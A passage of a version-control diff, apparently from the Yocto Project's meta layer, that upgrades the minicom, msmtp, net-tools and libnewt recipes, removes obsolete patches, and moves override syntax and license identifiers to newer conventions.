4Subject: [PATCH 1/3] Drop superfluous global variable definitions
5
6The file minicom.c, by including the minicom.h header, already defines
7the global variables 'dial_user' and 'dial_pass'. The object file
8minicom.o is always linked to dial.o. Thus the definitions in dial.c
9can be dropped.
10
11This fixes linking with gcc 10 which uses -fno-common by default,
12disallowing multiple global variable definitions.
13
14Upstream-Status: Pending
15Signed-off-by: Khem Raj <raj.khem@gmail.com>
16---
17 src/dial.c | 2 --
18 1 file changed, 2 deletions(-)
19
20diff --git a/src/dial.c b/src/dial.c
21index eada5ee..d9d481f 100644
22--- a/src/dial.c
23+++ b/src/dial.c
24@@ -146,8 +146,6 @@ static int newtype;
25 /* Access to ".dialdir" denied? */
26 static int dendd = 0;
27 static char *tagged;
28-char *dial_user;
29-char *dial_pass;
30
31 /* Change the baud rate. Treat all characters in the given array as if
32 * they were key presses within the comm parameters dialog (C-A P) and
33--
342.24.1
35
diff --git a/meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch b/meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch
deleted file mode 100644
index fec67fdd3f..0000000000
--- a/meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch
+++ /dev/null
@@ -1,47 +0,0 @@
1From d62a5862e26ed3fc58d789efe9c40ca6c911d36b Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Mon, 31 Aug 2015 22:35:31 +0000
4Subject: [PATCH] Fix build issus surfaced due to musl
5
6src/getsdir.h:28:14: error: 'MAXNAMLEN' undeclared here (not in a function)
7 char fname[MAXNAMLEN + 1]; /* filename + terminating null */
8
9src/dial.c:352:22: error: 'KIOCSOUND' undeclared (first use in this function)
10| ioctl(consolefd, KIOCSOUND, k);
11
12Signed-off-by: Khem Raj <raj.khem@gmail.com>
13---
14Upstream-Status: Pending
15
16 src/dial.c | 2 +-
17 src/getsdir.c | 1 +
18 2 files changed, 2 insertions(+), 1 deletion(-)
19
20diff --git a/src/dial.c b/src/dial.c
21index a90c1d2..bf02574 100644
22--- a/src/dial.c
23+++ b/src/dial.c
24@@ -39,7 +39,7 @@
25 #include "intl.h"
26
27 #ifdef VC_MUSIC
28-# if defined(__GLIBC__)
29+# if defined(__GLIBC__) || defined(__linux__)
30 # include <sys/ioctl.h>
31 # include <sys/kd.h>
32 # include <sys/time.h>
33diff --git a/src/getsdir.c b/src/getsdir.c
34index 2195b27..b61a361 100644
35--- a/src/getsdir.c
36+++ b/src/getsdir.c
37@@ -30,6 +30,7 @@
38 #include <string.h>
39 #include <sys/types.h>
40 #include <sys/stat.h>
41+#include <sys/param.h>
42 #include <errno.h>
43
44 #include "getsdir.h"
45--
462.5.1
47
diff --git a/meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch b/meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch
deleted file mode 100644
index bd8261c979..0000000000
--- a/meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch
+++ /dev/null
@@ -1,35 +0,0 @@
1Subject: [PATCH] fix minicom -h/-v return value is not 0
2
3Upstream-Status: Pending
4
5Signed-off-by: Lu Chong <Chong.Lu@windriver.com>
6
7---
8 src/minicom.c | 6 ++----
9 1 file changed, 2 insertions(+), 4 deletions(-)
10
11diff --git a/src/minicom.c b/src/minicom.c
12index e1a557b..730da7c 100644
13--- a/src/minicom.c
14+++ b/src/minicom.c
15@@ -1166,15 +1166,13 @@ int main(int argc, char **argv)
16 "modify it under the terms of the GNU General Public License\n"
17 "as published by the Free Software Foundation; either version\n"
18 "2 of the License, or (at your option) any later version.\n\n");
19- exit(1);
20- break;
21+ exit(0);
22 case 's': /* setup mode */
23 dosetup = 1;
24 break;
25 case 'h':
26 helpthem();
27- exit(1);
28- break;
29+ exit(0);
30 case 'p': /* Pseudo terminal to use. */
31 if (strncmp(optarg, "/dev/", 5) == 0)
32 optarg += 5;
33--
341.7.9.5
35
diff --git a/meta/recipes-extended/minicom/minicom/0002-Drop-superfluous-global-variable-definitions.patch b/meta/recipes-extended/minicom/minicom/0002-Drop-superfluous-global-variable-definitions.patch
deleted file mode 100644
index 1740051e0a..0000000000
--- a/meta/recipes-extended/minicom/minicom/0002-Drop-superfluous-global-variable-definitions.patch
+++ /dev/null
@@ -1,37 +0,0 @@
1From 924bd2da3a00e030e29d82b74ef82900bd50b475 Mon Sep 17 00:00:00 2001
2From: =?UTF-8?q?Ond=C5=99ej=20Lyson=C4=9Bk?= <olysonek@redhat.com>
3Date: Mon, 3 Feb 2020 13:18:33 +0100
4Subject: [PATCH 2/3] Drop superfluous global variable definitions
5
6The only place where the EXTERN macro mechanism is used to define the
7global variables 'vt_outmap' and 'vt_inmap' is minicom.c (by defining
8an empty EXTERN macro and including the minicom.h header). The file
9vt100.c already defines these variables. The vt100.o object file is
10always linked to minicom.o. Thus it is safe not to define the
11variables in minicom.c and only declare them in the minicom.h header.
12
13This fixes linking with gcc 10 which uses -fno-common by default,
14disallowing multiple global variable definitions.
15
16Upstream-Status: Pending
17Signed-off-by: Khem Raj <raj.khem@gmail.com>
18---
19 src/minicom.h | 2 +-
20 1 file changed, 1 insertion(+), 1 deletion(-)
21
22diff --git a/src/minicom.h b/src/minicom.h
23index 061c013..0f9693b 100644
24--- a/src/minicom.h
25+++ b/src/minicom.h
26@@ -141,7 +141,7 @@ EXTERN int sbcolor; /* Status Bar Background Color */
27 EXTERN int st_attr; /* Status Bar attributes. */
28
29 /* jl 04.09.97 conversion tables */
30-EXTERN unsigned char vt_outmap[256], vt_inmap[256];
31+extern unsigned char vt_outmap[256], vt_inmap[256];
32
33 /* MARK updated 02/17/95 - history buffer */
34 EXTERN int num_hist_lines; /* History buffer size */
35--
362.24.1
37
diff --git a/meta/recipes-extended/minicom/minicom/0003-Drop-superfluous-global-variable-definitions.patch b/meta/recipes-extended/minicom/minicom/0003-Drop-superfluous-global-variable-definitions.patch
deleted file mode 100644
index 58cd58eda8..0000000000
--- a/meta/recipes-extended/minicom/minicom/0003-Drop-superfluous-global-variable-definitions.patch
+++ /dev/null
@@ -1,42 +0,0 @@
1From a4fc603b3641d2efe31479116eb7ba66932901c7 Mon Sep 17 00:00:00 2001
2From: =?UTF-8?q?Ond=C5=99ej=20Lyson=C4=9Bk?= <olysonek@redhat.com>
3Date: Mon, 3 Feb 2020 13:21:41 +0100
4Subject: [PATCH 3/3] Drop superfluous global variable definitions
5
6The only place where the EXTERN macro mechanism is used to define the
7global variables 'portfd_is_socket', 'portfd_is_connected' and
8'portfd_sock_addr' is minicom.c (by defining an empty EXTERN macro and
9including the minicom.h header). The source file sysdep1_s.c already
10defines these variables. The sysdep1_s.o object file is always linked
11to minicom.o. Thus it is safe to drop the definitions from minicom.c
12and only declare the variables in the minicom.h header.
13
14This fixes linking with gcc 10 which uses -fno-common by default,
15disallowing multiple global variable definitions.
16
17Upstream-Status: Pending
18Signed-off-by: Khem Raj <raj.khem@gmail.com>
19---
20 src/minicom.h | 6 +++---
21 1 file changed, 3 insertions(+), 3 deletions(-)
22
23diff --git a/src/minicom.h b/src/minicom.h
24index 0f9693b..1e7cb8c 100644
25--- a/src/minicom.h
26+++ b/src/minicom.h
27@@ -113,9 +113,9 @@ EXTERN char *dial_user; /* Our username there */
28 EXTERN char *dial_pass; /* Our password */
29
30 #ifdef USE_SOCKET
31-EXTERN int portfd_is_socket; /* File descriptor is a unix socket */
32-EXTERN int portfd_is_connected; /* 1 if the socket is connected */
33-EXTERN struct sockaddr_un portfd_sock_addr; /* the unix socket address */
34+extern int portfd_is_socket; /* File descriptor is a unix socket */
35+extern int portfd_is_connected; /* 1 if the socket is connected */
36+extern struct sockaddr_un portfd_sock_addr; /* the unix socket address */
37 #define portfd_connected ((portfd_is_socket && !portfd_is_connected) \
38 ? -1 : portfd)
39 #else
40--
412.24.1
42
diff --git a/meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch b/meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch
deleted file mode 100644
index f5c08896ff..0000000000
--- a/meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch
+++ /dev/null
@@ -1,21 +0,0 @@
1Upstream-Status: Pending
2
3Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
4
5--- a/configure.in 2013-02-06 18:18:13.000000000 +0100
6+++ b/configure.in 2013-07-21 15:31:27.614828894 +0200
7@@ -40,7 +40,13 @@
8 fi
9
10 PKG_PROG_PKG_CONFIG
11-if test -n "$PKG_CONFIG"; then
12+
13+AC_ARG_ENABLE([lockdev],
14+ AS_HELP_STRING([--enable-lockdev],
15+ [Enable lockdev support (def: enabled)]),
16+ [], [enable_lockdev="yes"])
17+
18+if test -n "$PKG_CONFIG" && test "x$enable_lockdev" = xyes; then
19 PKG_CHECK_MODULES([LOCKDEV], [lockdev], AC_DEFINE([HAVE_LOCKDEV],[1],[Define if you have lockdev]),[:])
20 fi
21
diff --git a/meta/recipes-extended/minicom/minicom_2.7.1.bb b/meta/recipes-extended/minicom/minicom_2.9.bb
index 12003ff49e..907d5c79c9 100644
--- a/meta/recipes-extended/minicom/minicom_2.7.1.bb
+++ b/meta/recipes-extended/minicom/minicom_2.9.bb
@@ -3,21 +3,13 @@ HOMEPAGE = "https://salsa.debian.org/minicom-team/minicom"
3DESCRIPTION = "Minicom is a text-based modem control and terminal emulation program for Unix-like operating systems" 3DESCRIPTION = "Minicom is a text-based modem control and terminal emulation program for Unix-like operating systems"
4SECTION = "console/network" 4SECTION = "console/network"
5DEPENDS = "ncurses virtual/libiconv" 5DEPENDS = "ncurses virtual/libiconv"
6LICENSE = "GPLv2+" 6LICENSE = "GPL-2.0-or-later"
7LIC_FILES_CHKSUM = "file://COPYING;md5=420477abc567404debca0a2a1cb6b645 \ 7LIC_FILES_CHKSUM = "file://COPYING;md5=420477abc567404debca0a2a1cb6b645 \
8 file://src/minicom.h;beginline=1;endline=12;md5=a58838cb709f0db517f4e42730c49e81" 8 file://src/minicom.h;beginline=1;endline=12;md5=a58838cb709f0db517f4e42730c49e81"
9 9
10SRC_URI = "${DEBIAN_MIRROR}/main/m/${BPN}/${BPN}_${PV}.orig.tar.gz \ 10SRC_URI = "${DEBIAN_MIRROR}/main/m/${BPN}/${BPN}_${PV}.orig.tar.bz2"
11 file://allow.to.disable.lockdev.patch \
12 file://0001-fix-minicom-h-v-return-value-is-not-0.patch \
13 file://0001-Fix-build-issus-surfaced-due-to-musl.patch \
14 file://0001-Drop-superfluous-global-variable-definitions.patch \
15 file://0002-Drop-superfluous-global-variable-definitions.patch \
16 file://0003-Drop-superfluous-global-variable-definitions.patch \
17 "
18 11
19SRC_URI[md5sum] = "9021cb8c5445f6e6e74b2acc39962d62" 12SRC_URI[sha256sum] = "9efbb6458140e5a0de445613f0e76bcf12cbf7a9892b2f53e075c2e7beaba86c"
20SRC_URI[sha256sum] = "532f836b7a677eb0cb1dca8d70302b73729c3d30df26d58368d712e5cca041f1"
21 13
22PACKAGECONFIG ??= "" 14PACKAGECONFIG ??= ""
23PACKAGECONFIG[lockdev] = "--enable-lockdev,--disable-lockdev,lockdev" 15PACKAGECONFIG[lockdev] = "--enable-lockdev,--disable-lockdev,lockdev"
@@ -28,6 +20,6 @@ do_install() {
28 for d in doc extras man lib src; do make -C $d DESTDIR=${D} install; done 20 for d in doc extras man lib src; do make -C $d DESTDIR=${D} install; done
29} 21}
30 22
31RRECOMMENDS_${PN} += "lrzsz" 23RRECOMMENDS:${PN} += "lrzsz"
32 24
33RDEPENDS_${PN} += "ncurses-terminfo-base" 25RDEPENDS:${PN} += "ncurses-terminfo-base"
diff --git a/meta/recipes-extended/msmtp/msmtp_1.8.14.bb b/meta/recipes-extended/msmtp/msmtp_1.8.25.bb
index 3bd5f9edeb..b575fad5e1 100644
--- a/meta/recipes-extended/msmtp/msmtp_1.8.14.bb
+++ b/meta/recipes-extended/msmtp/msmtp_1.8.25.bb
@@ -3,7 +3,7 @@ DESCRIPTION = "A sendmail replacement for use in MTAs like mutt"
3HOMEPAGE = "https://marlam.de/msmtp/" 3HOMEPAGE = "https://marlam.de/msmtp/"
4SECTION = "console/network" 4SECTION = "console/network"
5 5
6LICENSE = "GPLv3" 6LICENSE = "GPL-3.0-only"
7DEPENDS = "zlib gnutls" 7DEPENDS = "zlib gnutls"
8 8
9LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504" 9LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
@@ -11,15 +11,15 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
11UPSTREAM_CHECK_URI = "https://marlam.de/msmtp/download/" 11UPSTREAM_CHECK_URI = "https://marlam.de/msmtp/download/"
12 12
13SRC_URI = "https://marlam.de/${BPN}/releases/${BP}.tar.xz" 13SRC_URI = "https://marlam.de/${BPN}/releases/${BP}.tar.xz"
14SRC_URI[sha256sum] = "d56f065d711486e9c234618515a02a48a48dab4051b34f3e108fbecb6fb773b4" 14SRC_URI[sha256sum] = "2dfe1dbbb397d26fe0b0b6b2e9cd2efdf9d72dd42d18e70d7f363ada2652d738"
15 15
16inherit gettext autotools update-alternatives pkgconfig 16inherit gettext autotools update-alternatives pkgconfig
17 17
18EXTRA_OECONF += "--without-libsecret --without-libgsasl --without-libidn" 18EXTRA_OECONF += "--without-libsecret --without-libgsasl --without-libidn"
19 19
20ALTERNATIVE_${PN} = "sendmail" 20ALTERNATIVE:${PN} = "sendmail"
21# /usr/lib/sendmial is required by LSB core test 21# /usr/lib/sendmial is required by LSB core test
22ALTERNATIVE_${PN}_linuxstdbase = "sendmail usr-lib-sendmail" 22ALTERNATIVE:${PN}:linuxstdbase = "sendmail usr-lib-sendmail"
23ALTERNATIVE_TARGET[sendmail] = "${bindir}/msmtp" 23ALTERNATIVE_TARGET[sendmail] = "${bindir}/msmtp"
24ALTERNATIVE_LINK_NAME[sendmail] = "${sbindir}/sendmail" 24ALTERNATIVE_LINK_NAME[sendmail] = "${sbindir}/sendmail"
25ALTERNATIVE_TARGET[usr-lib-sendmail] = "${bindir}/msmtp" 25ALTERNATIVE_TARGET[usr-lib-sendmail] = "${bindir}/msmtp"
diff --git a/meta/recipes-extended/net-tools/net-tools_2.10.bb b/meta/recipes-extended/net-tools/net-tools_2.10.bb
index de4a715971..33304297ec 100644
--- a/meta/recipes-extended/net-tools/net-tools_2.10.bb
+++ b/meta/recipes-extended/net-tools/net-tools_2.10.bb
@@ -2,12 +2,12 @@ SUMMARY = "Basic networking tools"
2DESCRIPTION = "A collection of programs that form the base set of the NET-3 networking distribution for the Linux operating system" 2DESCRIPTION = "A collection of programs that form the base set of the NET-3 networking distribution for the Linux operating system"
3HOMEPAGE = "http://net-tools.berlios.de/" 3HOMEPAGE = "http://net-tools.berlios.de/"
4BUGTRACKER = "http://bugs.debian.org/net-tools" 4BUGTRACKER = "http://bugs.debian.org/net-tools"
5LICENSE = "GPLv2+" 5LICENSE = "GPL-2.0-or-later"
6LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \ 6LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
7 file://ifconfig.c;beginline=11;endline=15;md5=d1ca372080ad5401e23ca0afc35cf9ba" 7 file://ifconfig.c;beginline=11;endline=15;md5=d1ca372080ad5401e23ca0afc35cf9ba"
8 8
9SRCREV = "80d7b95067f1f22fece9537dea6dff53081f4886" 9SRCREV = "80d7b95067f1f22fece9537dea6dff53081f4886"
10SRC_URI = "git://git.code.sf.net/p/net-tools/code;protocol=https \ 10SRC_URI = "git://git.code.sf.net/p/net-tools/code;protocol=https;branch=master \
11 file://net-tools-config.h \ 11 file://net-tools-config.h \
12 file://net-tools-config.make \ 12 file://net-tools-config.make \
13 file://Add_missing_headers.patch \ 13 file://Add_missing_headers.patch \
@@ -90,8 +90,8 @@ base_bindir_progs = "ifconfig netstat route \
90 ${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'dnsdomainname domainname hostname nisdomainname ypdomainname', '', d)} \ 90 ${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'dnsdomainname domainname hostname nisdomainname ypdomainname', '', d)} \
91" 91"
92 92
93ALTERNATIVE_${PN} = "${base_sbindir_progs} ${base_bindir_progs}" 93ALTERNATIVE:${PN} = "${base_sbindir_progs} ${base_bindir_progs}"
94ALTERNATIVE_${PN}-doc += "${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'hostname.1 dnsdomainname.1', '', d)}" 94ALTERNATIVE:${PN}-doc += "${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'hostname.1 dnsdomainname.1', '', d)}"
95ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1" 95ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1"
96ALTERNATIVE_LINK_NAME[dnsdomainname.1] = "${mandir}/man1/dnsdomainname.1" 96ALTERNATIVE_LINK_NAME[dnsdomainname.1] = "${mandir}/man1/dnsdomainname.1"
97ALTERNATIVE_PRIORITY[hostname.1] = "10" 97ALTERNATIVE_PRIORITY[hostname.1] = "10"
@@ -105,16 +105,16 @@ python __anonymous() {
105ALTERNATIVE_PRIORITY = "100" 105ALTERNATIVE_PRIORITY = "100"
106 106
107NETTOOLS_PACKAGES = "${PN}-mii-tool" 107NETTOOLS_PACKAGES = "${PN}-mii-tool"
108NETTOOLS_PACKAGES_class-native = "" 108NETTOOLS_PACKAGES:class-native = ""
109 109
110PACKAGE_BEFORE_PN = "${NETTOOLS_PACKAGES}" 110PACKAGE_BEFORE_PN = "${NETTOOLS_PACKAGES}"
111RDEPENDS_${PN} += "${NETTOOLS_PACKAGES}" 111RDEPENDS:${PN} += "${NETTOOLS_PACKAGES}"
112 112
113FILES_${PN}-mii-tool = "${base_sbindir}/mii-tool" 113FILES:${PN}-mii-tool = "${base_sbindir}/mii-tool"
114 114
115ALTERNATIVE_${PN}_remove = "mii-tool" 115ALTERNATIVE:${PN}:remove = "mii-tool"
116 116
117ALTERNATIVE_${PN}-mii-tool = "mii-tool" 117ALTERNATIVE:${PN}-mii-tool = "mii-tool"
118ALTERNATIVE_TARGET[mii-tool] = "${base_sbindir}/mii-tool" 118ALTERNATIVE_TARGET[mii-tool] = "${base_sbindir}/mii-tool"
119ALTERNATIVE_LINK_NAME[mii-tool] = "${base_sbindir}/mii-tool" 119ALTERNATIVE_LINK_NAME[mii-tool] = "${base_sbindir}/mii-tool"
120 120
diff --git a/meta/recipes-extended/newt/files/0001-detect-gold-as-GNU-linker-too.patch b/meta/recipes-extended/newt/files/0001-detect-gold-as-GNU-linker-too.patch
index a4b3afd959..090ed5c1c9 100644
--- a/meta/recipes-extended/newt/files/0001-detect-gold-as-GNU-linker-too.patch
+++ b/meta/recipes-extended/newt/files/0001-detect-gold-as-GNU-linker-too.patch
@@ -1,4 +1,4 @@
1From 58245b859ffbcb1780575bf1b0a018d55e74e434 Mon Sep 17 00:00:00 2001 1From 08ba909500412611953aea0fa2fe0d8fe76b6e24 Mon Sep 17 00:00:00 2001
2From: =?UTF-8?q?Andreas=20M=C3=BCller?= <schnitzeltony@googlemail.com> 2From: =?UTF-8?q?Andreas=20M=C3=BCller?= <schnitzeltony@googlemail.com>
3Date: Wed, 21 Sep 2016 21:14:40 +0200 3Date: Wed, 21 Sep 2016 21:14:40 +0200
4Subject: [PATCH] detect gold as GNU linker too 4Subject: [PATCH] detect gold as GNU linker too
@@ -9,23 +9,21 @@ Content-Transfer-Encoding: 8bit
9Upstream-Status: Pending 9Upstream-Status: Pending
10 10
11Signed-off-by: Andreas Müller <schnitzeltony@googlemail.com> 11Signed-off-by: Andreas Müller <schnitzeltony@googlemail.com>
12
12--- 13---
13 configure.ac | 2 +- 14 configure.ac | 2 +-
14 1 file changed, 1 insertion(+), 1 deletion(-) 15 1 file changed, 1 insertion(+), 1 deletion(-)
15 16
16diff --git a/configure.ac b/configure.ac 17diff --git a/configure.ac b/configure.ac
17index 03e8bda..c2fce51 100644 18index 468c718..cd93f30 100644
18--- a/configure.ac 19--- a/configure.ac
19+++ b/configure.ac 20+++ b/configure.ac
20@@ -28,7 +28,7 @@ AC_CHECK_SIZEOF([void *]) 21@@ -28,7 +28,7 @@ AC_CHECK_SIZEOF([void *])
21 AC_MSG_CHECKING([for GNU ld]) 22 AC_MSG_CHECKING([for GNU ld])
22 LD=`$CC -print-prog-name=ld 2>&5` 23 LD=$($CC -print-prog-name=ld 2>&5)
23 24
24-if test `$LD -v 2>&1 | $ac_cv_path_GREP -c "GNU ld"` = 0; then 25-if test $($LD -v 2>&1 | $ac_cv_path_GREP -c "GNU ld") = 0; then
25+if test `$LD -v 2>&1 | $ac_cv_path_GREP -c "GNU "` = 0; then 26+if test $($LD -v 2>&1 | $ac_cv_path_GREP -c "GNU ") = 0; then
26 # Not 27 # Not
27 GNU_LD="" 28 GNU_LD=""
28 AC_MSG_RESULT([no]) 29 AC_MSG_RESULT([no])
29--
302.5.5
31
diff --git a/meta/recipes-extended/newt/files/0002-don-t-ignore-CFLAGS-when-building-snack.patch b/meta/recipes-extended/newt/files/0002-don-t-ignore-CFLAGS-when-building-snack.patch
deleted file mode 100644
index ca235d5108..0000000000
--- a/meta/recipes-extended/newt/files/0002-don-t-ignore-CFLAGS-when-building-snack.patch
+++ /dev/null
@@ -1,29 +0,0 @@
1From f60dc1063607ca1f201ba4cbda467d8af3f78f64 Mon Sep 17 00:00:00 2001
2From: Miroslav Lichvar <mlichvar@redhat.com>
3Date: Tue, 1 Oct 2019 16:37:55 +0200
4Subject: [PATCH] don't ignore CFLAGS when building snack
5
6In addition to the flags returned by python-config --cflags, use the
7user-specified CFLAGS when building the snack object.
8
9Upstream-Status: Backport from master
10Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
11---
12 Makefile.in | 4 ++--
13 1 file changed, 2 insertions(+), 2 deletions(-)
14
15diff --git a/Makefile.in b/Makefile.in
16index be5f87b..6facd5e 100644
17--- a/Makefile.in
18+++ b/Makefile.in
19@@ -96,8 +96,8 @@ _snack.$(SOEXT): snack.c $(LIBNEWTSH)
20 PIFLAGS=`$$pyconfig --includes`; \
21 PLDFLAGS=`$$pyconfig --ldflags`; \
22 PLFLAGS=`$$pyconfig --libs`; \
23- echo $(CC) $(SHCFLAGS) $(CPPFLAGS) $$PIFLAGS $$PCFLAGS -c -o $$ver/snack.o snack.c; \
24- $(CC) $(SHCFLAGS) $(CPPFLAGS) $$PIFLAGS $$PCFLAGS -c -o $$ver/snack.o snack.c; \
25+ echo $(CC) $(SHCFLAGS) $(CFLAGS) $(CPPFLAGS) $$PIFLAGS $$PCFLAGS -c -o $$ver/snack.o snack.c; \
26+ $(CC) $(SHCFLAGS) $(CFLAGS) $(CPPFLAGS) $$PIFLAGS $$PCFLAGS -c -o $$ver/snack.o snack.c; \
27 echo $(CC) --shared $$PLDFLAGS $$PLFLAGS $(LDFLAGS) -o $$ver/_snack.$(SOEXT) $$ver/snack.o -L. -lnewt $(LIBS); \
28 $(CC) --shared $$PLDFLAGS $$PLFLAGS $(LDFLAGS) -o $$ver/_snack.$(SOEXT) $$ver/snack.o -L. -lnewt $(LIBS); \
29 done || :
diff --git a/meta/recipes-extended/newt/libnewt_0.52.21.bb b/meta/recipes-extended/newt/libnewt_0.52.24.bb
index 88b4cf4a03..1e39a1c5ca 100644
--- a/meta/recipes-extended/newt/libnewt_0.52.21.bb
+++ b/meta/recipes-extended/newt/libnewt_0.52.24.bb
@@ -11,7 +11,7 @@ slang library."
11HOMEPAGE = "https://releases.pagure.org/newt/" 11HOMEPAGE = "https://releases.pagure.org/newt/"
12SECTION = "libs" 12SECTION = "libs"
13 13
14LICENSE = "LGPLv2" 14LICENSE = "LGPL-2.0-only"
15LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2" 15LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2"
16 16
17# slang needs to be >= 2.2 17# slang needs to be >= 2.2
@@ -21,15 +21,13 @@ SRC_URI = "https://releases.pagure.org/newt/newt-${PV}.tar.gz \
21 file://cross_ar.patch \ 21 file://cross_ar.patch \
22 file://Makefile.in-Add-tinfo-library-to-the-linking-librari.patch \ 22 file://Makefile.in-Add-tinfo-library-to-the-linking-librari.patch \
23 file://0001-detect-gold-as-GNU-linker-too.patch \ 23 file://0001-detect-gold-as-GNU-linker-too.patch \
24 file://0002-don-t-ignore-CFLAGS-when-building-snack.patch \
25 " 24 "
26 25
27SRC_URI[md5sum] = "a0a5fd6b53bb167a65e15996b249ebb5" 26SRC_URI[sha256sum] = "5ded7e221f85f642521c49b1826c8de19845aa372baf5d630a51774b544fbdbb"
28SRC_URI[sha256sum] = "265eb46b55d7eaeb887fca7a1d51fe115658882dfe148164b6c49fccac5abb31"
29 27
30S = "${WORKDIR}/newt-${PV}" 28S = "${WORKDIR}/newt-${PV}"
31 29
32inherit autotools-brokensep python3native python3-dir 30inherit autotools-brokensep python3native python3-dir python3targetconfig
33 31
34EXTRA_OECONF = "--without-tcl --with-python" 32EXTRA_OECONF = "--without-tcl --with-python"
35 33
@@ -39,20 +37,20 @@ CLEANBROKEN = "1"
39 37
40export CPPFLAGS 38export CPPFLAGS
41 39
42PACKAGES_prepend = "whiptail ${PN}-python " 40PACKAGES:prepend = "whiptail ${PN}-python "
43 41
44RDEPENDS_${PN}-python += "python3-core" 42RDEPENDS:${PN}-python += "python3-core"
45FILES_${PN}-python = "${PYTHON_SITEPACKAGES_DIR}/*" 43FILES:${PN}-python = "${PYTHON_SITEPACKAGES_DIR}/*"
46 44
47do_configure_prepend() { 45do_configure:prepend() {
48 sh autogen.sh 46 sh autogen.sh
49} 47}
50 48
51do_compile_prepend() { 49do_compile:prepend() {
52 # Make sure the recompile is OK 50 # Make sure the recompile is OK
53 rm -f ${B}/.depend 51 rm -f ${B}/.depend
54} 52}
55 53
56FILES_whiptail = "${bindir}/whiptail" 54FILES:whiptail = "${bindir}/whiptail"
57 55
58BBCLASSEXTEND = "native nativesdk" 56BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb b/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb
index 1e63da7f16..b17cba4a78 100644
--- a/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb
+++ b/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb
@@ -13,7 +13,7 @@ VIRTUAL-RUNTIME_vim ?= "vim-tiny"
13 13
14PACKAGE_ARCH = "${MACHINE_ARCH}" 14PACKAGE_ARCH = "${MACHINE_ARCH}"
15 15
16RDEPENDS_${PN} = "\ 16RDEPENDS:${PN} = "\
17 base-passwd \ 17 base-passwd \
18 bash \ 18 bash \
19 bind-utils \ 19 bind-utils \
diff --git a/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb b/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb
index 16c2f9f2aa..8dc62954a2 100644
--- a/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb
+++ b/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb
@@ -4,13 +4,11 @@
4 4
5SUMMARY = "Standard full-featured Linux system" 5SUMMARY = "Standard full-featured Linux system"
6DESCRIPTION = "Package group bringing in packages needed for a more traditional full-featured Linux system" 6DESCRIPTION = "Package group bringing in packages needed for a more traditional full-featured Linux system"
7PR = "r6"
8 7
9inherit packagegroup 8inherit packagegroup
10 9
11PACKAGES = "\ 10PACKAGES = "\
12 packagegroup-core-full-cmdline \ 11 packagegroup-core-full-cmdline \
13 packagegroup-core-full-cmdline-libs \
14 packagegroup-core-full-cmdline-utils \ 12 packagegroup-core-full-cmdline-utils \
15 packagegroup-core-full-cmdline-extended \ 13 packagegroup-core-full-cmdline-extended \
16 packagegroup-core-full-cmdline-dev-utils \ 14 packagegroup-core-full-cmdline-dev-utils \
@@ -19,44 +17,7 @@ PACKAGES = "\
19 packagegroup-core-full-cmdline-sys-services \ 17 packagegroup-core-full-cmdline-sys-services \
20 " 18 "
21 19
22python __anonymous () { 20RDEPENDS:packagegroup-core-full-cmdline = "\
23 # For backwards compatibility after rename
24 namemap = {}
25 namemap["packagegroup-core-full-cmdline"] = "packagegroup-core-basic"
26 namemap["packagegroup-core-full-cmdline-libs"] = "packagegroup-core-basic-libs"
27 namemap["packagegroup-core-full-cmdline-utils"] = "packagegroup-core-basic-utils"
28 namemap["packagegroup-core-full-cmdline-extended"] = "packagegroup-core-basic-extended"
29 namemap["packagegroup-core-full-cmdline-dev-utils"] = "packagegroup-core-dev-utils"
30 namemap["packagegroup-core-full-cmdline-multiuser"] = "packagegroup-core-multiuser"
31 namemap["packagegroup-core-full-cmdline-initscripts"] = "packagegroup-core-initscripts"
32 namemap["packagegroup-core-full-cmdline-sys-services"] = "packagegroup-core-sys-services"
33
34 packages = d.getVar("PACKAGES").split()
35 mlprefix = d.getVar("MLPREFIX")
36 for pkg in packages:
37 pkg2 = pkg[len(mlprefix):]
38 if pkg.endswith('-dev'):
39 mapped = namemap.get(pkg2[:-4], None)
40 if mapped:
41 mapped += '-dev'
42 elif pkg.endswith('-dbg'):
43 mapped = namemap.get(pkg2[:-4], None)
44 if mapped:
45 mapped += '-dbg'
46 else:
47 mapped = namemap.get(pkg2, None)
48
49 if mapped:
50 oldtaskname = mapped.replace("packagegroup-core", "task-core")
